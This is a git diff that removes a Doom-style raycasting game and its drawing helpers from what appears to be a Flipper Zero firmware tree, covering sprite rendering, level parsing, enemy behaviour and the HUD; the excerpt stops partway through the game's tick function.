-void drawRect(uint8_t x, uint8_t y, uint8_t w, uint8_t h, Canvas* const canvas); -void drawText(uint8_t x, uint8_t y, uint8_t num, Canvas* const canvas); -void fadeScreen(uint8_t intensity, bool color, Canvas* const canvas); -bool getGradientPixel(uint8_t x, uint8_t y, uint8_t i); -double getActualFps(); -void fps(); -uint8_t reverse_bits(uint8_t num); - -// FPS control -double delta = 1; -uint32_t lastFrameTime = 0; -uint8_t zbuffer[128]; /// 128 = screen width & REMOVE WHEN DISPLAY.H IMPLEMENTED - -void drawGun( - int16_t x, - int16_t y, - const uint8_t* bitmap, - int16_t w, - int16_t h, - uint16_t color, - Canvas* const canvas) { - int16_t byteWidth = (w + 7) / 8; - uint8_t byte = 0; - for(int16_t j = 0; j < h; j++, y++) { - for(int16_t i = 0; i < w; i++) { - if(i & 7) - byte <<= 1; - else - byte = pgm_read_byte(&bitmap[j * byteWidth + i / 8]); - if(byte & 0x80) drawPixel(x + i, y, color, false, canvas); - } - } -} - -void drawVLine(uint8_t x, int8_t start_y, int8_t end_y, uint8_t intensity, Canvas* const canvas) { - UNUSED(intensity); - uint8_t dots = end_y - start_y; - for(int i = 0; i < dots; i++) { - canvas_draw_dot(canvas, x, start_y + i); - } -} - -void drawBitmap( - int16_t x, - int16_t y, - const Icon* i, - int16_t w, - int16_t h, - uint16_t color, - Canvas* const canvas) { - UNUSED(w); - UNUSED(h); - if(!color) { - canvas_invert_color(canvas); - } - canvas_draw_icon(canvas, x, y, i); - if(!color) { - canvas_invert_color(canvas); - } -} - -void drawText(uint8_t x, uint8_t y, uint8_t num, Canvas* const canvas) { - char buf[4]; - snprintf(buf, 4, "%d", num); - drawTextSpace(x, y, buf, 1, canvas); -} - -void drawTextSpace(int8_t x, int8_t y, char* txt, uint8_t space, Canvas* const canvas) { - uint8_t pos = x; - uint8_t i = 0; - char ch; - while((ch = txt[i]) != '\0') { - drawChar(pos, y, ch, canvas); - i++; - pos += CHAR_WIDTH + space; - - // shortcut on end of screen - if(pos > SCREEN_WIDTH) return; - } -} - -// Custom drawBitmap method with scale support, mask, zindex and pattern filling -void drawSprite( - int8_t x, - int8_t y, - const uint8_t* bitmap, - const uint8_t* bitmap_mask, - int16_t w, - int16_t h, - uint8_t sprite, - double distance, - Canvas* const canvas) { - uint8_t tw = (double)w / distance; - uint8_t th = (double)h / distance; - uint8_t byte_width = w / 8; - uint8_t pixel_size = fmax(1, (double)1.0 / (double)distance); - uint16_t sprite_offset = byte_width * h * sprite; - - bool pixel; - bool maskPixel; - - // Don't draw the whole sprite if the anchor is hidden by z buffer - // Not checked per pixel for performance reasons - if(zbuffer[(int)(fmin(fmax(x, 0), ZBUFFER_SIZE - 1) / Z_RES_DIVIDER)] < - distance * DISTANCE_MULTIPLIER) { - return; - } - - for(uint8_t ty = 0; ty < th; ty += pixel_size) { - // Don't draw out of screen - if(y + ty < 0 || y + ty >= RENDER_HEIGHT) { - continue; - } - - uint8_t sy = ty * distance; // The y from the sprite - - for(uint8_t tx = 0; tx < tw; tx += pixel_size) { - uint8_t sx = tx * distance; // The x from the sprite - uint16_t byte_offset = sprite_offset + sy * byte_width + sx / 8; - - // Don't draw out of screen - if(x + tx < 0 || x + tx >= SCREEN_WIDTH) { - continue; - } - - maskPixel = read_bit(pgm_read_byte(bitmap_mask + byte_offset), sx % 8); - - if(maskPixel) { - pixel = read_bit(pgm_read_byte(bitmap + byte_offset), sx % 8); - for(uint8_t ox = 0; ox < pixel_size; ox++) { - for(uint8_t oy = 0; oy < pixel_size; oy++) { - if(bitmap == imp_inv) - drawPixel(x + tx + ox, y + ty + oy, 1, true, canvas); - else - drawPixel(x + tx + ox, y + ty + oy, pixel, true, canvas); - } - } - } - } - } -} - -void drawPixel(int8_t x, int8_t y, bool color, bool raycasterViewport, Canvas* const canvas) { - if(x < 0 || x >= SCREEN_WIDTH || y < 0 || - y >= (raycasterViewport ? RENDER_HEIGHT : SCREEN_HEIGHT)) { - return; - } - if(color) - canvas_draw_dot(canvas, x, y); - else { - canvas_invert_color(canvas); - canvas_draw_dot(canvas, x, y); - canvas_invert_color(canvas); - } -} - -void drawChar(int8_t x, int8_t y, char ch, Canvas* const canvas) { - uint8_t lsb; - uint8_t c = 0; - while(CHAR_MAP[c] != ch && CHAR_MAP[c] != '\0') c++; - for(uint8_t i = 0; i < 6; i++) { - //lsb = (char_arr[c][i] >> 4); - lsb = reverse_bits(char_arr[c][i]); - for(uint8_t n = 0; n < 4; n++) { - if(CHECK_BIT(lsb, n)) { - drawPixel(x + n, y + i, true, false, canvas); - } - } - } -} - -void clearRect(uint8_t x, uint8_t y, uint8_t w, uint8_t h, Canvas* const canvas) { - canvas_invert_color(canvas); - - for(int i = 0; i < w; i++) { - for(int j = 0; j < h; j++) { - canvas_draw_dot(canvas, x + i, y + j); - } - } - - canvas_invert_color(canvas); -} - -void drawRect(uint8_t x, uint8_t y, uint8_t w, uint8_t h, Canvas* const canvas) { - for(int i = 0; i < w; i++) { - for(int j = 0; j < h; j++) { - canvas_draw_dot(canvas, x + i, y + j); - } - } -} - -bool getGradientPixel(uint8_t x, uint8_t y, uint8_t i) { - if(i == 0) return 0; - if(i >= GRADIENT_COUNT - 1) return 1; - - uint8_t index = - fmax(0, fmin(GRADIENT_COUNT - 1, i)) * GRADIENT_WIDTH * GRADIENT_HEIGHT // gradient index - + y * GRADIENT_WIDTH % (GRADIENT_WIDTH * GRADIENT_HEIGHT) // y byte offset - + x / GRADIENT_HEIGHT % GRADIENT_WIDTH; // x byte offset - //uint8_t *gradient_data = NULL; - //furi_hal_compress_icon_decode(icon_get_data(&I_gradient_inv), &gradient_data); - // return the bit based on x - return read_bit(pgm_read_byte(gradient + index), x % 8); -} - -void fadeScreen(uint8_t intensity, bool color, Canvas* const canvas) { - for(uint8_t x = 0; x < SCREEN_WIDTH; x++) { - for(uint8_t y = 0; y < SCREEN_HEIGHT; y++) { - if(getGradientPixel(x, y, intensity)) drawPixel(x, y, color, false, canvas); - } - } -} - -// Adds a delay to limit play to specified fps -// Calculates also delta to keep movement consistent in lower framerates -void fps() { - while(furi_get_tick() - lastFrameTime < FRAME_TIME) - ; - delta = (double)(furi_get_tick() - lastFrameTime) / (double)FRAME_TIME; - lastFrameTime = furi_get_tick(); -} - -double getActualFps() { - return 1000 / ((double)FRAME_TIME * (double)delta); -} - -uint8_t reverse_bits(uint8_t num) { - unsigned int NO_OF_BITS = sizeof(num) * 8; - uint8_t reverse_num = 0; - uint8_t i; - for(i = 0; i < NO_OF_BITS; i++) { - if((num & (1 << i))) reverse_num |= 1 << ((NO_OF_BITS - 1) - i); - } - return reverse_num; -} \ No newline at end of file diff --git a/applications/external/doom/doom.c b/applications/external/doom/doom.c deleted file mode 100644 index c2d9a6bf0..000000000 --- a/applications/external/doom/doom.c +++ /dev/null @@ -1,1104 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include "sound.h" -#include "display.h" -#include "assets.h" -#include "constants.h" -#include "entities.h" -#include "types.h" -#include "level.h" -#include -#include -#include - -#define SOUND - -// Useful macros -#define swap(a, b) \ - do { \ - typeof(a) temp = a; \ - a = b; \ - b = temp; \ - } while(0) -#define sign(a, b) (double)(a > b ? 1 : (b > a ? -1 : 0)) -#define pgm_read_byte(addr) (*(const unsigned char*)(addr)) - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef struct { - FuriMutex* mutex; - Player player; - Entity entity[MAX_ENTITIES]; - StaticEntity static_entity[MAX_STATIC_ENTITIES]; - uint8_t num_entities; - uint8_t num_static_entities; - - uint8_t scene; - uint8_t gun_pos; - double jogging; - double view_height; - bool init; - - bool up; - bool down; - bool left; - bool right; - bool fired; - bool gun_fired; - - double rot_speed; - double old_dir_x; - double old_plane_x; - NotificationApp* notify; -#ifdef SOUND - MusicPlayer* music_instance; - bool intro_sound; -#endif -} PluginState; - -static const NotificationSequence sequence_short_sound = { - &message_note_c5, - &message_delay_50, - &message_sound_off, - NULL, -}; -static const NotificationSequence sequence_long_sound = { - &message_note_c3, - &message_delay_100, - &message_sound_off, - NULL, -}; - -Coords translateIntoView(Coords* pos, PluginState* const plugin_state); -void updateHud(Canvas* const canvas, PluginState* const plugin_state); -// general - -bool invert_screen = false; -uint8_t flash_screen = 0; - -// game -// player and entities - -uint8_t getBlockAt(const uint8_t level[], uint8_t x, uint8_t y) { - if(x >= LEVEL_WIDTH || y >= LEVEL_HEIGHT) { - return E_FLOOR; - } - - // y is read in inverse order - return pgm_read_byte(level + (((LEVEL_HEIGHT - 1 - y) * LEVEL_WIDTH + x) / 2)) >> - (!(x % 2) * 4) // displace part of wanted bits - & 0b1111; // mask wanted bits -} - -// Finds the player in the map -void initializeLevel(const uint8_t level[], PluginState* const plugin_state) { - for(uint8_t y = LEVEL_HEIGHT - 1; y > 0; y--) { - for(uint8_t x = 0; x < LEVEL_WIDTH; x++) { - uint8_t block = getBlockAt(level, x, y); - - if(block == E_PLAYER) { - plugin_state->player = create_player(x, y); - return; - } - - // todo create other static entities - } - } -} - -bool isSpawned(UID uid, PluginState* const plugin_state) { - for(uint8_t i = 0; i < plugin_state->num_entities; i++) { - if(plugin_state->entity[i].uid == uid) return true; - } - - return false; -} - -bool isStatic(UID uid, PluginState* const plugin_state) { - for(uint8_t i = 0; i < plugin_state->num_static_entities; i++) { - if(plugin_state->static_entity[i].uid == uid) return true; - } - - return false; -} - -void spawnEntity(uint8_t type, uint8_t x, uint8_t y, PluginState* const plugin_state) { - // Limit the number of spawned entities - if(plugin_state->num_entities >= MAX_ENTITIES) { - return; - } - - // todo: read static entity status - - switch(type) { - case E_ENEMY: - plugin_state->entity[plugin_state->num_entities] = create_enemy(x, y); - plugin_state->num_entities++; - break; - - case E_KEY: - plugin_state->entity[plugin_state->num_entities] = create_key(x, y); - plugin_state->num_entities++; - break; - - case E_MEDIKIT: - plugin_state->entity[plugin_state->num_entities] = create_medikit(x, y); - plugin_state->num_entities++; - break; - } -} - -void spawnFireball(double x, double y, PluginState* const plugin_state) { - // Limit the number of spawned entities - if(plugin_state->num_entities >= MAX_ENTITIES) { - return; - } - - UID uid = create_uid(E_FIREBALL, x, y); - // Remove if already exists, don't throw anything. Not the best, but shouldn't happen too often - if(isSpawned(uid, plugin_state)) return; - - // Calculate direction. 32 angles - int16_t dir = - FIREBALL_ANGLES + atan2(y - plugin_state->player.pos.y, x - plugin_state->player.pos.x) / - (double)PI * FIREBALL_ANGLES; - if(dir < 0) dir += FIREBALL_ANGLES * 2; - plugin_state->entity[plugin_state->num_entities] = create_fireball(x, y, dir); - plugin_state->num_entities++; -} - -void removeEntity(UID uid, PluginState* const plugin_state) { - uint8_t i = 0; - bool found = false; - - while(i < plugin_state->num_entities) { - if(!found && plugin_state->entity[i].uid == uid) { - // todo: doze it - found = true; - plugin_state->num_entities--; - } - - // displace entities - if(found) { - plugin_state->entity[i] = plugin_state->entity[i + 1]; - } - - i++; - } -} - -void removeStaticEntity(UID uid, PluginState* const plugin_state) { - uint8_t i = 0; - bool found = false; - - while(i < plugin_state->num_static_entities) { - if(!found && plugin_state->static_entity[i].uid == uid) { - found = true; - plugin_state->num_static_entities--; - } - - // displace entities - if(found) { - plugin_state->static_entity[i] = plugin_state->static_entity[i + 1]; - } - - i++; - } -} - -UID detectCollision( - const uint8_t level[], - Coords* pos, - double relative_x, - double relative_y, - bool only_walls, - PluginState* const plugin_state) { - // Wall collision - uint8_t round_x = (int)(pos->x + relative_x); - uint8_t round_y = (int)(pos->y + relative_y); - uint8_t block = getBlockAt(level, round_x, round_y); - - if(block == E_WALL) { - // playSound(hit_wall_snd, HIT_WALL_SND_LEN); - return create_uid(block, round_x, round_y); - } - - if(only_walls) { - return UID_null; - } - - // Entity collision - for(uint8_t i = 0; i < plugin_state->num_entities; i++) { - // Don't collide with itself - if(&(plugin_state->entity[i].pos) == pos) { - continue; - } - - uint8_t type = uid_get_type(plugin_state->entity[i].uid); - - // Only ALIVE enemy collision - if(type != E_ENEMY || plugin_state->entity[i].state == S_DEAD || - plugin_state->entity[i].state == S_HIDDEN) { - continue; - } - - Coords new_coords = { - plugin_state->entity[i].pos.x - relative_x, - plugin_state->entity[i].pos.y - relative_y}; - uint8_t distance = coords_distance(pos, &new_coords); - - // Check distance and if it's getting closer - if(distance < ENEMY_COLLIDER_DIST && distance < plugin_state->entity[i].distance) { - return plugin_state->entity[i].uid; - } - } - - return UID_null; -} - -// Shoot -void fire(PluginState* const plugin_state) { - //playSound(shoot_snd, SHOOT_SND_LEN); - - for(uint8_t i = 0; i < plugin_state->num_entities; i++) { - // Shoot only ALIVE enemies - if(uid_get_type(plugin_state->entity[i].uid) != E_ENEMY || - plugin_state->entity[i].state == S_DEAD || plugin_state->entity[i].state == S_HIDDEN) { - continue; - } - - Coords transform = translateIntoView(&(plugin_state->entity[i].pos), plugin_state); - if(fabs(transform.x) < 20 && transform.y > 0) { - uint8_t damage = (double)fmin( - GUN_MAX_DAMAGE, - GUN_MAX_DAMAGE / (fabs(transform.x) * plugin_state->entity[i].distance) / 5); - if(damage > 0) { - plugin_state->entity[i].health = fmax(0, plugin_state->entity[i].health - damage); - plugin_state->entity[i].state = S_HIT; - plugin_state->entity[i].timer = 4; - } - } - } -} - -UID updatePosition( - const uint8_t level[], - Coords* pos, - double relative_x, - double relative_y, - bool only_walls, - PluginState* const plugin_state) { - UID collide_x = detectCollision(level, pos, relative_x, 0, only_walls, plugin_state); - UID collide_y = detectCollision(level, pos, 0, relative_y, only_walls, plugin_state); - - if(!collide_x) pos->x += relative_x; - if(!collide_y) pos->y += relative_y; - - return collide_x || collide_y || UID_null; -} - -void updateEntities(const uint8_t level[], Canvas* const canvas, PluginState* const plugin_state) { - uint8_t i = 0; - while(i < plugin_state->num_entities) { - // update distance - plugin_state->entity[i].distance = - coords_distance(&(plugin_state->player.pos), &(plugin_state->entity[i].pos)); - - // Run the timer. Works with actual frames. - // Todo: use delta here. But needs double type and more memory - if(plugin_state->entity[i].timer > 0) plugin_state->entity[i].timer--; - - // too far away. put it in doze mode - if(plugin_state->entity[i].distance > MAX_ENTITY_DISTANCE) { - removeEntity(plugin_state->entity[i].uid, plugin_state); - // don't increase 'i', since current one has been removed - continue; - } - - // bypass render if hidden - if(plugin_state->entity[i].state == S_HIDDEN) { - i++; - continue; - } - - uint8_t type = uid_get_type(plugin_state->entity[i].uid); - - switch(type) { - case E_ENEMY: { - // Enemy "IA" - if(plugin_state->entity[i].health == 0) { - if(plugin_state->entity[i].state != S_DEAD) { - plugin_state->entity[i].state = S_DEAD; - plugin_state->entity[i].timer = 6; - } - } else if(plugin_state->entity[i].state == S_HIT) { - if(plugin_state->entity[i].timer == 0) { - // Back to alert state - plugin_state->entity[i].state = S_ALERT; - plugin_state->entity[i].timer = 40; // delay next fireball thrown - } - } else if(plugin_state->entity[i].state == S_FIRING) { - if(plugin_state->entity[i].timer == 0) { - // Back to alert state - plugin_state->entity[i].state = S_ALERT; - plugin_state->entity[i].timer = 40; // delay next fireball throwm - } - } else { - // ALERT STATE - if(plugin_state->entity[i].distance > ENEMY_MELEE_DIST && - plugin_state->entity[i].distance < MAX_ENEMY_VIEW) { - if(plugin_state->entity[i].state != S_ALERT) { - plugin_state->entity[i].state = S_ALERT; - plugin_state->entity[i].timer = 20; // used to throw fireballs - } else { - if(plugin_state->entity[i].timer == 0) { - // Throw a fireball - spawnFireball( - plugin_state->entity[i].pos.x, - plugin_state->entity[i].pos.y, - plugin_state); - plugin_state->entity[i].state = S_FIRING; - plugin_state->entity[i].timer = 6; - } else { - // move towards to the player. - updatePosition( - level, - &(plugin_state->entity[i].pos), - sign(plugin_state->player.pos.x, plugin_state->entity[i].pos.x) * - (double)ENEMY_SPEED * 1, // NOT SURE (delta) - sign(plugin_state->player.pos.y, plugin_state->entity[i].pos.y) * - (double)ENEMY_SPEED * 1, // NOT SURE (delta) - true, - plugin_state); - } - } - } else if(plugin_state->entity[i].distance <= ENEMY_MELEE_DIST) { - if(plugin_state->entity[i].state != S_MELEE) { - // Preparing the melee attack - plugin_state->entity[i].state = S_MELEE; - plugin_state->entity[i].timer = 10; - } else if(plugin_state->entity[i].timer == 0) { - // Melee attack - plugin_state->player.health = - fmax(0, plugin_state->player.health - ENEMY_MELEE_DAMAGE); - plugin_state->entity[i].timer = 14; - flash_screen = 1; - updateHud(canvas, plugin_state); - } - } else { - // stand - plugin_state->entity[i].state = S_STAND; - } - } - break; - } - - case E_FIREBALL: { - if(plugin_state->entity[i].distance < FIREBALL_COLLIDER_DIST) { - // Hit the player and disappear - plugin_state->player.health = - fmax(0, plugin_state->player.health - ENEMY_FIREBALL_DAMAGE); - flash_screen = 1; - updateHud(canvas, plugin_state); - removeEntity(plugin_state->entity[i].uid, plugin_state); - continue; // continue in the loop - } else { - // Move. Only collide with walls. - // Note: using health to store the angle of the movement - UID collided = updatePosition( - level, - &(plugin_state->entity[i].pos), - cos((double)plugin_state->entity[i].health / FIREBALL_ANGLES * (double)PI) * - (double)FIREBALL_SPEED, - sin((double)plugin_state->entity[i].health / FIREBALL_ANGLES * (double)PI) * - (double)FIREBALL_SPEED, - true, - plugin_state); - - if(collided) { - removeEntity(plugin_state->entity[i].uid, plugin_state); - continue; // continue in the entity check loop - } - } - break; - } - - case E_MEDIKIT: { - if(plugin_state->entity[i].distance < ITEM_COLLIDER_DIST) { - // pickup - notification_message(plugin_state->notify, &sequence_long_sound); - //playSound(medkit_snd, MEDKIT_SND_LEN); - plugin_state->entity[i].state = S_HIDDEN; - plugin_state->player.health = fmin(100, plugin_state->player.health + 50); - updateHud(canvas, plugin_state); - flash_screen = 1; - } - break; - } - - case E_KEY: { - if(plugin_state->entity[i].distance < ITEM_COLLIDER_DIST) { - // pickup - notification_message(plugin_state->notify, &sequence_long_sound); - //playSound(get_key_snd, GET_KEY_SND_LEN); - plugin_state->entity[i].state = S_HIDDEN; - plugin_state->player.keys++; - updateHud(canvas, plugin_state); - flash_screen = 1; - } - break; - } - } - - i++; - } -} - -// The map raycaster. Based on https://lodev.org/cgtutor/raycasting.html -void renderMap( - const uint8_t level[], - double view_height, - Canvas* const canvas, - PluginState* const plugin_state) { - UID last_uid = 0; // NOT SURE ? - - for(uint8_t x = 0; x < SCREEN_WIDTH; x += RES_DIVIDER) { - double camera_x = 2 * (double)x / SCREEN_WIDTH - 1; - double ray_x = plugin_state->player.dir.x + plugin_state->player.plane.x * camera_x; - double ray_y = plugin_state->player.dir.y + plugin_state->player.plane.y * camera_x; - uint8_t map_x = (uint8_t)plugin_state->player.pos.x; - uint8_t map_y = (uint8_t)plugin_state->player.pos.y; - Coords map_coords = {plugin_state->player.pos.x, plugin_state->player.pos.y}; - double delta_x = fabs(1 / ray_x); - double delta_y = fabs(1 / ray_y); - - int8_t step_x; - int8_t step_y; - double side_x; - double side_y; - - if(ray_x < 0) { - step_x = -1; - side_x = (plugin_state->player.pos.x - map_x) * delta_x; - } else { - step_x = 1; - side_x = (map_x + (double)1.0 - plugin_state->player.pos.x) * delta_x; - } - - if(ray_y < 0) { - step_y = -1; - side_y = (plugin_state->player.pos.y - map_y) * delta_y; - } else { - step_y = 1; - side_y = (map_y + (double)1.0 - plugin_state->player.pos.y) * delta_y; - } - - // Wall detection - uint8_t depth = 0; - bool hit = 0; - bool side; - while(!hit && depth < MAX_RENDER_DEPTH) { - if(side_x < side_y) { - side_x += delta_x; - map_x += step_x; - side = 0; - } else { - side_y += delta_y; - map_y += step_y; - side = 1; - } - - uint8_t block = getBlockAt(level, map_x, map_y); - - if(block == E_WALL) { - hit = 1; - } else { - // Spawning entities here, as soon they are visible for the - // player. Not the best place, but would be a very performance - // cost scan for them in another loop - if(block == E_ENEMY || (block & 0b00001000) /* all collectable items */) { - // Check that it's close to the player - if(coords_distance(&(plugin_state->player.pos), &map_coords) < - MAX_ENTITY_DISTANCE) { - UID uid = create_uid(block, map_x, map_y); - if(last_uid != uid && !isSpawned(uid, plugin_state)) { - spawnEntity(block, map_x, map_y, plugin_state); - last_uid = uid; - } - } - } - } - - depth++; - } - - if(hit) { - double distance; - - if(side == 0) { - distance = - fmax(1, (map_x - plugin_state->player.pos.x + (1 - step_x) / 2) / ray_x); - } else { - distance = - fmax(1, (map_y - plugin_state->player.pos.y + (1 - step_y) / 2) / ray_y); - } - - // store zbuffer value for the column - zbuffer[x / Z_RES_DIVIDER] = fmin(distance * DISTANCE_MULTIPLIER, 255); - - // rendered line height - uint8_t line_height = RENDER_HEIGHT / distance; - - drawVLine( - x, - view_height / distance - line_height / 2 + RENDER_HEIGHT / 2, - view_height / distance + line_height / 2 + RENDER_HEIGHT / 2, - GRADIENT_COUNT - (int)distance / MAX_RENDER_DEPTH * GRADIENT_COUNT - side * 2, - canvas); - } - } -} - -// Sort entities from far to close -uint8_t sortEntities(PluginState* const plugin_state) { - uint8_t gap = plugin_state->num_entities; - bool swapped = false; - while(gap > 1 || swapped) { - //shrink factor 1.3 - gap = (gap * 10) / 13; - if(gap == 9 || gap == 10) gap = 11; - if(gap < 1) gap = 1; - swapped = false; - for(uint8_t i = 0; i < plugin_state->num_entities - gap; i++) { - uint8_t j = i + gap; - if(plugin_state->entity[i].distance < plugin_state->entity[j].distance) { - swap(plugin_state->entity[i], plugin_state->entity[j]); - swapped = true; - } - } - } - return swapped; -} - -Coords translateIntoView(Coords* pos, PluginState* const plugin_state) { - //translate sprite position to relative to camera - double sprite_x = pos->x - plugin_state->player.pos.x; - double sprite_y = pos->y - plugin_state->player.pos.y; - - //required for correct matrix multiplication - double inv_det = - ((double)1.0 / - ((double)plugin_state->player.plane.x * (double)plugin_state->player.dir.y - - (double)plugin_state->player.dir.x * (double)plugin_state->player.plane.y)); - double transform_x = - inv_det * (plugin_state->player.dir.y * sprite_x - plugin_state->player.dir.x * sprite_y); - double transform_y = inv_det * (-plugin_state->player.plane.y * sprite_x + - plugin_state->player.plane.x * sprite_y); // Z in screen - Coords res = {transform_x, transform_y}; - return res; -} - -void renderEntities(double view_height, Canvas* const canvas, PluginState* const plugin_state) { - sortEntities(plugin_state); - - for(uint8_t i = 0; i < plugin_state->num_entities; i++) { - if(plugin_state->entity[i].state == S_HIDDEN) continue; - - Coords transform = translateIntoView(&(plugin_state->entity[i].pos), plugin_state); - - // don´t render if behind the player or too far away - if(transform.y <= (double)0.1 || transform.y > MAX_SPRITE_DEPTH) { - continue; - } - - int16_t sprite_screen_x = HALF_WIDTH * ((double)1.0 + transform.x / transform.y); - int8_t sprite_screen_y = RENDER_HEIGHT / 2 + view_height / transform.y; - uint8_t type = uid_get_type(plugin_state->entity[i].uid); - - // don´t try to render if outside of screen - // doing this pre-shortcut due int16 -> int8 conversion makes out-of-screen - // values fit into the screen space - if(sprite_screen_x < -HALF_WIDTH || sprite_screen_x > SCREEN_WIDTH + HALF_WIDTH) { - continue; - } - - switch(type) { - case E_ENEMY: { - uint8_t sprite; - if(plugin_state->entity[i].state == S_ALERT) { - // walking - sprite = ((int)furi_get_tick() / 500) % 2; - } else if(plugin_state->entity[i].state == S_FIRING) { - // fireball - sprite = 2; - } else if(plugin_state->entity[i].state == S_HIT) { - // hit - sprite = 3; - } else if(plugin_state->entity[i].state == S_MELEE) { - // melee atack - sprite = plugin_state->entity[i].timer > 10 ? 2 : 1; - } else if(plugin_state->entity[i].state == S_DEAD) { - // dying - sprite = plugin_state->entity[i].timer > 0 ? 3 : 4; - } else { - // stand - sprite = 0; - } - - drawSprite( - sprite_screen_x - BMP_IMP_WIDTH * (double).5 / transform.y, - sprite_screen_y - 8 / transform.y, - imp_inv, - imp_mask_inv, - BMP_IMP_WIDTH, - BMP_IMP_HEIGHT, - sprite, - transform.y, - canvas); - break; - } - - case E_FIREBALL: { - drawSprite( - sprite_screen_x - BMP_FIREBALL_WIDTH / 2 / transform.y, - sprite_screen_y - BMP_FIREBALL_HEIGHT / 2 / transform.y, - fireball, - fireball_mask, - BMP_FIREBALL_WIDTH, - BMP_FIREBALL_HEIGHT, - 0, - transform.y, - canvas); - break; - } - - case E_MEDIKIT: { - drawSprite( - sprite_screen_x - BMP_ITEMS_WIDTH / 2 / transform.y, - sprite_screen_y + 5 / transform.y, - item, - item_mask, - BMP_ITEMS_WIDTH, - BMP_ITEMS_HEIGHT, - 0, - transform.y, - canvas); - break; - } - - case E_KEY: { - drawSprite( - sprite_screen_x - BMP_ITEMS_WIDTH / 2 / transform.y, - sprite_screen_y + 5 / transform.y, - item, - item_mask, - BMP_ITEMS_WIDTH, - BMP_ITEMS_HEIGHT, - 1, - transform.y, - canvas); - break; - } - } - } -} - -void renderGun(uint8_t gun_pos, double amount_jogging, Canvas* const canvas) { - // jogging - char x = 48 + sin((double)furi_get_tick() * (double)JOGGING_SPEED) * 10 * amount_jogging; - char y = RENDER_HEIGHT - gun_pos + - fabs(cos((double)furi_get_tick() * (double)JOGGING_SPEED)) * 8 * amount_jogging; - - if(gun_pos > GUN_SHOT_POS - 2) { - // Gun fire - drawBitmap(x + 6, y - 11, &I_fire_inv, BMP_FIRE_WIDTH, BMP_FIRE_HEIGHT, 1, canvas); - } - - // Don't draw over the hud! - uint8_t clip_height = fmax(0, fmin(y + BMP_GUN_HEIGHT, RENDER_HEIGHT) - y); - - // Draw the gun (black mask + actual sprite). - drawBitmap(x, y, &I_gun_mask_inv, BMP_GUN_WIDTH, clip_height, 0, canvas); - drawBitmap(x, y, &I_gun_inv, BMP_GUN_WIDTH, clip_height, 1, canvas); - //drawGun(x,y,gun_mask, BMP_GUN_WIDTH, clip_height, 0, canvas); - //drawGun(x,y,gun, BMP_GUN_WIDTH, clip_height, 1, canvas); -} - -// Only needed first time -void renderHud(Canvas* const canvas, PluginState* plugin_state) { - drawTextSpace(2, 58, "{}", 0, canvas); // Health symbol - drawTextSpace(40, 58, "[]", 0, canvas); // Keys symbol - updateHud(canvas, plugin_state); -} - -// Render values for the HUD -void updateHud(Canvas* const canvas, PluginState* plugin_state) { - clearRect(12, 58, 15, 6, canvas); - clearRect(50, 58, 15, 6, canvas); - drawText(12, 58, plugin_state->player.health, canvas); - drawText(50, 58, plugin_state->player.keys, canvas); -} - -// Debug stats -void renderStats(Canvas* const canvas, PluginState* plugin_state) { - clearRect(58, 58, 70, 6, canvas); - drawText(114, 58, (int)getActualFps(), canvas); - drawText(82, 58, plugin_state->num_entities, canvas); - // drawText(94, 58, freeMemory()); -} - -// Intro screen -void loopIntro(Canvas* const canvas) { - canvas_draw_icon(canvas, 0, 0, &I_logo_inv); - //drawTextSpace(SCREEN_WIDTH / 2 - 25, SCREEN_HEIGHT * .8, "PRESS FIRE", 1, canvas); -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - canvas_set_font(canvas, FontPrimary); - - switch(plugin_state->scene) { - case INTRO: { - loopIntro(canvas); - break; - } - case GAME_PLAY: { - updateEntities(sto_level_1, canvas, plugin_state); - - renderGun(plugin_state->gun_pos, plugin_state->jogging, canvas); - renderMap(sto_level_1, plugin_state->view_height, canvas, plugin_state); - - renderEntities(plugin_state->view_height, canvas, plugin_state); - - renderHud(canvas, plugin_state); - updateHud(canvas, plugin_state); - renderStats(canvas, plugin_state); - break; - } - } - furi_mutex_release(plugin_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, 0); -} - -static void doom_state_init(PluginState* const plugin_state) { - plugin_state->notify = furi_record_open(RECORD_NOTIFICATION); - plugin_state->num_entities = 0; - plugin_state->num_static_entities = 0; - - plugin_state->scene = INTRO; - plugin_state->gun_pos = 0; - plugin_state->view_height = 0; - plugin_state->init = true; - - plugin_state->up = false; - plugin_state->down = false; - plugin_state->left = false; - plugin_state->right = false; - plugin_state->fired = false; - plugin_state->gun_fired = false; -#ifdef SOUND - - plugin_state->music_instance = malloc(sizeof(MusicPlayer)); - plugin_state->music_instance->model = malloc(sizeof(MusicPlayerModel)); - memset( - plugin_state->music_instance->model->duration_history, - 0xff, - MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); - memset( - plugin_state->music_instance->model->semitone_history, - 0xff, - MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); - plugin_state->music_instance->model->volume = 2; - - plugin_state->music_instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - //plugin_state->music_instance->view_port = view_port_alloc(); - - plugin_state->music_instance->worker = music_player_worker_alloc(); - //music_player_worker_set_volume(plugin_state->music_instance->worker, 0.75); - music_player_worker_set_volume( - plugin_state->music_instance->worker, - MUSIC_PLAYER_VOLUMES[plugin_state->music_instance->model->volume]); - plugin_state->intro_sound = true; - //init_sound(plugin_state->music_instance); -#endif -} - -static void doom_game_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -static void doom_game_tick(PluginState* const plugin_state) { - if(plugin_state->scene == GAME_PLAY) { - //fps(); - //player is alive - if(plugin_state->player.health > 0) { - if(plugin_state->up) { - plugin_state->player.velocity += - ((double)MOV_SPEED - plugin_state->player.velocity) * (double).4; - plugin_state->jogging = fabs(plugin_state->player.velocity) * MOV_SPEED_INV; - //plugin_state->up = false; - } else if(plugin_state->down) { - plugin_state->player.velocity += - (-(double)MOV_SPEED - plugin_state->player.velocity) * (double).4; - plugin_state->jogging = fabs(plugin_state->player.velocity) * MOV_SPEED_INV; - //plugin_state->down = false; - } else { - plugin_state->player.velocity *= (double).5; - plugin_state->jogging = 